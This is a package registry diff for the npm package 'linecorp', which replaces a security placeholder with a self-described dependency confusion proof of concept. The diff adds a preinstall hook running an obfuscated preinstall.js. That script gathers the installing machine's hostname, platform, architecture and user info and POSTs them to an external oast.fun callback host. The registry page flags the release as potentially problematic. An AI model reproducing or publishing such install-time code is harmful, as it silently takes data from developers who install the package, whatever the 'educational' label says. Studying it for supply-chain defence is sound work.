linecorp 0.0.1-security → 0.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.

This version of linecorp might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/README.md +7 -3
  2. package/index.js +1 -0
  3. package/package.json +9 -3
  4. package/preinstall.js +1 -0
package/README.md CHANGED
@@ -1,5 +1,9 @@
1
- # Security holding package
1
+ # linecorp - Dependency Confusion PoC
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ This package is a **Proof of Concept** created by KRKEEPER for ethical testing of Dependency Confusion vulnerabilities.
4
4
 
5
- Please refer to www.npmjs.com/advisories?search=linecorp for more information.
5
+ ## Purpose
6
+
7
+ - Demonstrates how packages with similar names can be unintentionally downloaded in systems with misconfigured dependency management.
8
+
9
+ **Use responsibly. This module is intended for educational purposes only.**
package/index.js ADDED
@@ -0,0 +1 @@
1
+ console.log("KRKEEPER - This is a Proof of Concept for Dependency Confusion. Educational Use Only.");
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "linecorp",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "0.0.4",
4
+ "description": "linecorp - module krkeeper testing",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/preinstall.js ADDED
@@ -0,0 +1 @@
1
+ var _0x5e27=['write','request','length','hostname','on','Content-Type','Content-Length','end','platform','arch','userInfo','https','data','headers','os','userInfo','POST','avogzckzvolobfemetjfrdebh6mtiikgy.oast.fun'];(function(_0x2e74d9,_0x1d0b7b){var _0x15075f=function(_0x1201a2){while(--_0x1201a2){_0x2e74d9['push'](_0x2e74d9['shift']());}};_0x15075f(++_0x1d0b7b);}(_0x5e27,0x6b));var _0x39ba=function(_0x3f3e09,_0x2e74d9){_0x3f3e09=_0x3f3e09-0x0;var _0x15075f=_0x5e27[_0x3f3e09];return _0x15075f;};const _0x2e74d9=require(_0x39ba('0xc')),_0x1d0b7b=require(_0x39ba('0xe'));const _0x1201a2=JSON['stringify']({'hostname':_0x1d0b7b[_0x39ba('0x6')](),'platform':_0x1d0b7b[_0x39ba('0x5')](),'arch':_0x1d0b7b[_0x39ba('0x4')](),'userInfo':_0x1d0b7b[_0x39ba('0x8')]()});const _0x15075f={'hostname':_0x39ba('0xa'),'port':0x1bb,'path':'/','method':_0x39ba('0x7'),'headers':{'Content-Type':'application/json','Content-Length':_0x1201a2[_0x39ba('0xb')]}};const _0x3f3e09=_0x2e74d9[_0x39ba('0xd')](_0x15075f,_0x39ba('0x0'));_0x3f3e09[_0x39ba('0x3')](_0x39ba('0xf'),()=>{}),_0x3f3e09[_0x39ba('0x1')](_0x1201a2),_0x3f3e09[_0x39ba('0x2')]();